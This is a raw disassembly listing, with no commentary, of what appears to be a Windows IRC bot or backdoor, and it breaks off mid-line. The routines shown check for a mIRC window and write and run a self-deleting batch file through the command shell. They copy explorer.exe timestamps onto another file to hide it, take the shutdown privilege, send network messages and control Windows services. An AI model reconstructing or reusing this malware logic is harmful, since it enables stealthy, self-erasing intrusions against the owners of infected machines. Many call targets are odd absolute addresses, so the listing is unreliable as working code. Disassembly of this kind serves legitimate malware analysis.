loc_4184B3: ; CODE XREF: sub_41847D+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_4184D5 loc_4184BF: ; CODE XREF: sub_41847D+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_4184CC cmp dl, 0Dh jnz short loc_4184D0 loc_4184CC: ; CODE XREF: sub_41847D+48j and byte ptr [ecx+esi], 0 loc_4184D0: ; CODE XREF: sub_41847D+4Dj inc ecx cmp ecx, eax jl short loc_4184BF loc_4184D5: ; CODE XREF: sub_41847D+40j xor edx, edx push edi test eax, eax jle short loc_418506 lea edi, [ebp+var_7CC] loc_4184E2: ; CODE XREF: sub_41847D+87j cmp byte ptr [edx+esi], 0 jnz short loc_418501 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418501 cmp ebx, 1F4h jge short loc_418506 mov [edi], ecx inc ebx add edi, 4 loc_418501: ; CODE XREF: sub_41847D+69j ; sub_41847D+74j inc edx cmp edx, eax jl short loc_4184E2 loc_418506: ; CODE XREF: sub_41847D+5Dj ; sub_41847D+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418524 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41CAB0 add esp, 0Ch loc_418524: ; CODE XREF: sub_41847D+8Ej mov eax, ebx loc_418526: ; CODE XREF: sub_41847D+34j pop esi pop ebx leave retn sub_41847D endp ; =============== S U B R O U T I N E ======================================= sub_41852A proc near ; CODE XREF: sub_418584+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418563 push ebx mov ebx, edi loc_418547: ; CODE XREF: sub_41852A+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418566 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418547 pop ebx loc_418563: ; CODE XREF: sub_41852A+18j pop edi pop esi retn sub_41852A endp ; =============== S U B R O U T I N E ======================================= sub_418566 proc near ; CODE XREF: sub_41852A+25p ; sub_418584+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41DEEC cmp al, 61h pop ecx jl short loc_418581 cmp al, 7Ah jg short loc_418581 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418581: ; CODE XREF: sub_418566+Ej ; sub_418566+12j xor eax, eax retn sub_418566 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418584 proc near ; CODE XREF: sub_415DCF+10p ; ___:00415EA1p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41C2A0 push ebx push esi push edi push [ebp+arg_0] call sub_41B960 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41B960 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41852A add esp, 14h dec esi mov edi, esi loc_4185C2: ; CODE XREF: sub_418584+B6j test esi, esi jle short loc_418640 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41DEEC mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41DEEC pop ecx cmp eax, ebx pop ecx jz short loc_418638 loc_4185E8: ; CODE XREF: sub_418584+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418566 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_418609 mov eax, ecx loc_418609: ; CODE XREF: sub_418584+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41863C mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41DEEC mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41DEEC pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4185E8 loc_418638: ; CODE XREF: sub_418584+62j dec edi dec esi jmp short loc_4185C2 ; --------------------------------------------------------------------------- loc_41863C: ; CODE XREF: sub_418584+8Aj xor eax, eax jmp short loc_418645 ; --------------------------------------------------------------------------- loc_418640: ; CODE XREF: sub_418584+40j mov eax, [ebp+arg_0] add eax, edi loc_418645: ; CODE XREF: sub_418584+BAj pop edi pop esi pop ebx leave retn sub_418584 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41864A proc near ; CODE XREF: sub_401AC7+66FDp ; sub_401AC7+7700p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 2680DCDh mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call near ptr 27F0000h nop lea eax, [ebp+var_100] loc_418683: ; CODE XREF: sub_41864A+46j mov cl, [eax] cmp cl, 1Fh jg short loc_41868F cmp cl, 9 jnz short loc_418692 loc_41868F: ; CODE XREF: sub_41864A+3Ej inc eax jmp short loc_418683 ; --------------------------------------------------------------------------- loc_418692: ; CODE XREF: sub_41864A+43j ; sub_41864A+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4186AC mov cl, [eax] cmp cl, 2Eh jz short loc_418692 cmp cl, 21h jl short loc_418692 loc_4186AC: ; CODE XREF: sub_41864A+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4D8ABC push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41C100 add esp, 18h mov eax, esi pop esi leave retn sub_41864A endp ; =============== S U B R O U T I N E ======================================= sub_4186D4 proc near ; CODE XREF: sub_401AC7+245Ap push esi push 0 call dword_4C92D4 test eax, eax jz short loc_41870B push 1 call dword_4C92F4 mov esi, eax test esi, esi jz short loc_41870B push edi push esi call near ptr 28005BFh nop push esi mov edi, eax call near ptr 2800000h nop call dword_4C9358 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41870B: ; CODE XREF: sub_4186D4+Bj ; sub_4186D4+19j xor eax, eax pop esi retn sub_4186D4 endp ; =============== S U B R O U T I N E ======================================= sub_41870F proc near ; CODE XREF: sub_401AC7+74B5p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4C9310 mov ebp, eax cmp ebp, esi jz short loc_41878B push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 281012Ah nop push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 2810000h push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41C006 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4C9360 push esi push 1 push 4C9h push ebp call dword_4C9360 push ebx nop call near ptr 2800B44h push edi call near ptr 2660000h nop push 1 pop eax pop ebx jmp short loc_41878D ; --------------------------------------------------------------------------- loc_41878B: ; CODE XREF: sub_41870F+16j xor eax, eax loc_41878D: ; CODE XREF: sub_41870F+7Aj pop edi pop esi pop ebp retn sub_41870F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418791 proc near ; CODE XREF: ___:00401430p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4C93C0 test eax, eax jz short loc_418830 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_427100 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418830 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 2820000h push ebx mov ebx, dword_427078 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418830 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 281070Dh push esi call ebx loc_418830: ; CODE XREF: sub_418791+2Aj ; sub_418791+51j ... pop edi pop esi pop ebx leave retn sub_418791 endp ; =============== S U B R O U T I N E ======================================= sub_418835 proc near ; CODE XREF: sub_401AC7+1675p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419B3F pop ecx pop ecx push 50005h push 6 call dword_4C9244 neg eax sbb eax, eax neg eax retn sub_418835 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418857 proc near ; CODE XREF: sub_401AC7+26F7p ; ___:00416BC6p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42908C, esi push edi jz short loc_41887B cmp dword_4C93D4, esi jnz short loc_41887B push esi call sub_401000 pop ecx loc_41887B: ; CODE XREF: sub_418857+13j ; sub_418857+1Bj call sub_40B576 lea eax, [ebp+var_764] push eax push 400h call near ptr 26B0000h nop lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41C006 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 27306D8h mov edi, eax cmp edi, esi jbe loc_4189DB lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41C006 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_764] push eax push edi nop call near ptr 2720000h push edi nop call near ptr 2660000h push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BD10 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41BD10 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43B4B8 mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 26906BCh push eax nop call near ptr 2670000h lea eax, [ebp+var_15C] push eax nop call near ptr 269058Ah cmp eax, 0FFFFFFFFh jz short loc_418983 lea eax, [ebp+var_15C] push 80h push eax call near ptr 2690408h nop loc_418983: ; CODE XREF: sub_418857+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41C006 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2830000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 26603BDh loc_4189DB: ; CODE XREF: sub_418857+72j pop edi pop esi leave retn sub_418857 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4189DF proc near ; CODE XREF: sub_401AC7+7139p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26E0636h cmp [ebp+var_84], 2 jnz short loc_418A75 push [ebp+arg_10] push [ebp+arg_C] call dword_4C9284 push edi push eax call dword_4C9294 test eax, eax jz short loc_418A67 push [ebp+arg_10] push offset dword_438D24 loc_418A40: ; CODE XREF: sub_4189DF+94j lea eax, [ebp+var_294] push eax call sub_41C006 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 20h jmp short loc_418A9F ; --------------------------------------------------------------------------- loc_418A67: ; CODE XREF: sub_4189DF+57j nop call near ptr 2680DCDh push eax push offset unk_438CFC jmp short loc_418A40 ; --------------------------------------------------------------------------- loc_418A75: ; CODE XREF: sub_4189DF+3Fj lea eax, [ebp+var_294] push offset unk_438CCC push eax call sub_41C006 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 1Ch loc_418A9F: ; CODE XREF: sub_4189DF+86j pop edi leave retn sub_4189DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418AA2 proc near ; CODE XREF: sub_401AC7+556Cp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26E0636h cmp [ebp+var_90], 4 jnz short loc_418AF8 cmp [ebp+var_8C], 0 jnz short loc_418AE1 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_418AF8 leave retn ; --------------------------------------------------------------------------- loc_418AE1: ; CODE XREF: sub_418AA2+30j cmp [ebp+var_8C], 0Ah jz short loc_418AF3 cmp [ebp+var_8C], 5Ah jnz short loc_418AF8 loc_418AF3: ; CODE XREF: sub_418AA2+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_418AF8: ; CODE XREF: sub_418AA2+27j ; sub_418AA2+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 26B0C73h mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi nop call near ptr 26C0000h push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41DFD4 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41DFD4 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41DFD4 lea eax, [ebp+var_F8] push eax call sub_41DFB7 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi call near ptr 27B0737h nop mov eax, edi pop edi pop esi leave retn sub_418AA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B82 proc near ; CODE XREF: sub_40111D+F7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi nop call near ptr 26A0729h push eax call sub_41C058 pop ecx call sub_41C062 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4276F8 call sub_41CF04 sub esi, eax mov eax, esi pop esi leave retn sub_418B82 endp ; =============== S U B R O U T I N E ======================================= sub_418BBF proc near ; CODE XREF: sub_401AC7:loc_405F8Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418C24 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_438D48[esi] push edi push eax call sub_418C46 add esp, 14h test eax, eax jnz short loc_418C07 push edi push off_438D44[esi] mov esi, offset dword_4D9380 push offset unk_438E58 push esi call sub_41C006 add esp, 10h jmp short loc_418C41 ; --------------------------------------------------------------------------- loc_418C07: ; CODE XREF: sub_418BBF+2Aj push eax call sub_418CE8 push eax push edi mov esi, offset dword_4D9380 push offset unk_438E2C push esi call sub_41C006 add esp, 14h jmp short loc_418C41 ; --------------------------------------------------------------------------- loc_418C24: ; CODE XREF: sub_418BBF+Cj lea eax, [eax+eax*2] mov esi, offset dword_4D9380 push off_438D40[eax*4] push offset unk_438E08 push esi call sub_41C006 add esp, 0Ch loc_418C41: ; CODE XREF: sub_418BBF+46j ; sub_418BBF+63j mov eax, esi pop edi pop esi retn sub_418BBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C46 proc near ; CODE XREF: sub_418BBF+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4C92F8 mov edi, eax cmp edi, ebx jnz short loc_418C6D nop call near ptr 2680DCDh mov ebx, eax jmp short loc_418CE2 ; --------------------------------------------------------------------------- loc_418C6D: ; CODE XREF: sub_418C46+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4C91E0 mov esi, eax cmp esi, ebx jnz short loc_418C8D nop call near ptr 2680DCDh mov ebx, eax jmp short loc_418CDA ; --------------------------------------------------------------------------- loc_418C8D: ; CODE XREF: sub_418C46+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_418CC0 cmp eax, 3 jz short loc_418CB1 jle short loc_418CD3 cmp eax, 6 jg short loc_418CD3 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4C924C jmp short loc_418CC7 ; --------------------------------------------------------------------------- loc_418CB1: ; CODE XREF: sub_418C46+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4C91E8 jmp short loc_418CC7 ; --------------------------------------------------------------------------- loc_418CC0: ; CODE XREF: sub_418C46+4Dj push esi call dword_4C9250 loc_418CC7: ; CODE XREF: sub_418C46+69j ; sub_418C46+78j test eax, eax jnz short loc_418CD3 nop call near ptr 2680DCDh mov ebx, eax loc_418CD3: ; CODE XREF: sub_418C46+54j ; sub_418C46+59j ... push esi call dword_4C91FC loc_418CDA: ; CODE XREF: sub_418C46+45j push edi call dword_4C91FC pop esi loc_418CE2: ; CODE XREF: sub_418C46+25j mov eax, ebx pop edi pop ebx leave retn sub_418C46 endp ; =============== S U B R O U T I N E ======================================= sub_418CE8 proc near ; CODE XREF: sub_418BBF+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418D9D jz loc_418D96 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418D60 jz short loc_418D56 mov ecx, eax sub ecx, 3 jz short loc_418D4C dec ecx dec ecx jz short loc_418D42 dec ecx jz short loc_418D38 sub ecx, 51h jz short loc_418D2E sub ecx, 24h jnz loc_418E13 ; default ; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D2E: ; CODE XREF: sub_418CE8+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D38: ; CODE XREF: sub_418CE8+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D42: ; CODE XREF: sub_418CE8+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D4C: ; CODE XREF: sub_418CE8+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D56: ; CODE XREF: sub_418CE8+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D60: ; CODE XREF: sub_418CE8+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418D8F dec ecx jz short loc_418D88 dec ecx jz short loc_418D81 dec ecx jnz loc_418E13 ; default ; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_418E05 ; --------------------------------------------------------------------------- loc_418D81: ; CODE XREF: sub_418CE8+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418D88: ; CODE XREF: sub_418CE8+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418D8F: ; CODE XREF: sub_418CE8+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418D96: ; CODE XREF: sub_418CE8+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418D9D: ; CODE XREF: sub_418CE8+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418E13 ; default ; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16 jz short loc_418E00 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418E13 ; default ; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418E54[ecx] jmp off_418E2C[ecx*4] ; switch jump loc_418DC1: ; DATA XREF: ___:off_418E2Co push offset aTheSpecifiedDa ; jumptable 00418DBA case 7 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DC8: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheServiceDepe ; jumptable 00418DBA case 17 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DCF: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheServiceDe_0 ; jumptable 00418DBA case 10 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DD6: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheServiceHasB ; jumptable 00418DBA case 0 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DDD: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheSpecified_0 ; jumptable 00418DBA case 2 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DE4: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheServiceCoul ; jumptable 00418DBA case 11 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DEB: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheServiceHa_0 ; jumptable 00418DBA case 14 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DF2: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheRequested_1 ; jumptable 00418DBA case 3 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418DF9: ; CODE XREF: sub_418CE8+D2j ; DATA XREF: ___:off_418E2Co push offset aTheServiceHasN ; jumptable 00418DBA case 4 jmp short loc_418E05 ; --------------------------------------------------------------------------- loc_418E00: ; CODE XREF: sub_418CE8+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_418E05: ; CODE XREF: sub_418CE8+41j ; sub_418CE8+4Bj ... push offset dword_4D8CC0 call sub_41C006 pop ecx pop ecx jmp short loc_418E26 ; --------------------------------------------------------------------------- loc_418E13: ; CODE XREF: sub_418CE8+36j ; sub_418CE8+89j ... push eax ; default ; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4D8CC0 call sub_41C006 add esp, 0Ch loc_418E26: ; CODE XREF: sub_418CE8+129j mov eax, offset dword_4D8CC0 retn sub_418CE8 endp ; --------------------------------------------------------------------------- off_418E2C dd offset loc_418DD6 ; DATA XREF: sub_418CE8+D2r dd offset loc_418DDD ; jump table for switch statement dd offset loc_418DF2 dd offset loc_418DF9 dd offset loc_418DC1 dd offset loc_418DCF dd offset loc_418DE4 dd offset loc_418DEB dd offset loc_418DC8 dd offset loc_418E13 byte_418E54 db 0, 9, 1, 2 ; DATA XREF: sub_418CE8+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E66 proc near ; CODE XREF: sub_401AC7+44EEp var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4C92F8 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_418E9E: ; CODE XREF: sub_418E66+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4C92C4 test eax, eax jnz short loc_418ED8 nop call near ptr 2680DCDh cmp eax, 0EAh jnz loc_418F8C loc_418ED8: ; CODE XREF: sub_418E66+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418F83 lea esi, [ebp+var_188] loc_418EE9: ; CODE XREF: sub_418E66+117j mov eax, [esi+8] dec eax jz short loc_418F32 dec eax jz short loc_418F2B dec eax jz short loc_418F24 dec eax jz short loc_418F1D dec eax jz short loc_418F16 dec eax jz short loc_418F0F dec eax jz short loc_418F08 push offset aUnknown_0 ; " Unknown" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F08: ; CODE XREF: sub_418E66+99j push offset aPaused_0 ; " Paused" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F0F: ; CODE XREF: sub_418E66+96j push offset aPausing ; " Pausing" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F16: ; CODE XREF: sub_418E66+93j push offset aContinuing ; " Continuing" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F1D: ; CODE XREF: sub_418E66+90j push offset aRunning ; " Running" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F24: ; CODE XREF: sub_418E66+8Dj push offset aStoping ; " Stoping" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F2B: ; CODE XREF: sub_418E66+8Aj push offset aStarting ; " Starting" jmp short loc_418F37 ; --------------------------------------------------------------------------- loc_418F32: ; CODE XREF: sub_418E66+87j push offset aStopped ; " Stopped" loc_418F37: ; CODE XREF: sub_418E66+A0j ; sub_418E66+A7j ... lea eax, [ebp+var_20] push eax call sub_41C006 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41C006 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_418EE9 loc_418F83: ; CODE XREF: sub_418E66+77j cmp [ebp+var_8], ebx jnz loc_418E9E loc_418F8C: ; CODE XREF: sub_418E66+6Cj push [ebp+var_C] call dword_4C91FC xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_418E66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FA3 proc near ; CODE XREF: sub_401AC7:loc_40606Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_41903C mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418FCC dec eax jnz short loc_41901C push edi push 0 call sub_419175 pop ecx pop ecx jmp short loc_419018 ; --------------------------------------------------------------------------- loc_418FCC: ; CODE XREF: sub_418FA3+18j cmp [ebp+arg_8], 0 jnz short loc_41900A push 24h push edi call sub_41C720 pop ecx test eax, eax pop ecx jnz short loc_41900A push 57h pop eax loc_418FE3: ; CODE XREF: sub_418FA3+77j push eax call sub_41994D push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4D8F7C push off_438D40[eax*4] push offset unk_4393EC push esi call sub_41C006 add esp, 18h jmp short loc_41905C ; --------------------------------------------------------------------------- loc_41900A: ; CODE XREF: sub_418FA3+2Dj ; sub_418FA3+3Bj push [ebp+arg_8] push edi push 0 call sub_4190C9 add esp, 0Ch loc_419018: ; CODE XREF: sub_418FA3+27j test eax, eax jnz short loc_418FE3 loc_41901C: ; CODE XREF: sub_418FA3+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4D8F7C push off_438D44[eax*4] push offset dword_4393D0 push esi call sub_41C006 add esp, 10h jmp short loc_41905C ; --------------------------------------------------------------------------- loc_41903C: ; CODE XREF: sub_418FA3+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4D8F7C lea eax, [eax+eax*2] push off_438D40[eax*4] push offset unk_4393AC push esi call sub_41C006 add esp, 0Ch loc_41905C: ; CODE XREF: 